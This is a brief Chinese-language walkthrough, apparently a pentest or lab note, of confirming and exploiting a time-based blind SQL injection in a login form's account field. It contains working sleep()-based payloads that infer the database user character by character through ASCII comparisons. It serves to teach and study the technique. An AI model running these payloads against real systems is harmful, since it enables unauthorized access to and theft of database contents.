测试步骤:
1、首先查找注入点:
在登录页面的账户输入admin’密码随便输,返回如下图
但是我输入admin’’ 密码随便,返回的又不一样
所以我先去bp里面抓包试验一下
用sleep()函数实验一下,看能不能触发这个sleep函数
果然它睡了五秒
Payload:admin'-sleep(5)-'
所以更加确定这个地方是有注入点的
那么接下来构造基本的轮子:
Payload:
admin '-sleep(if(1=1,5,0))-'#
在sleep()函数里面加一个if语句,就是说1=1那个表达式中,如果为真就返回5,否则就返回0
这一次也是停了5秒才显示出来的
继续构造poc
Payload:
admin '-sleep(if(user()!='a',10,0))-'#
利用user()获取当前用户,因为我不知道具体是哪个字符,所以只有加个感叹号才能说明这个语句为真,才会返回5,所以这次也是隔了五秒,raw才显示出来
继续构造poc
Payload:
a '-sleep(if(ascii(user())=1,10,0))-'#
所以我直接用ascii()函数将user()转换成ascii码进行爆破
出现了两个ascii码
所以试一下哪个是的
经过测验,发现121才会睡5秒,122没有睡
admin '-sleep(if(ascii(user())=121,5,0))-'#
admin '-sleep(if(ascii(user())=122,5,0))-'#
所以查ascii表发现
121对应字母y
然后来利用截取函数就可以跑出全部数据了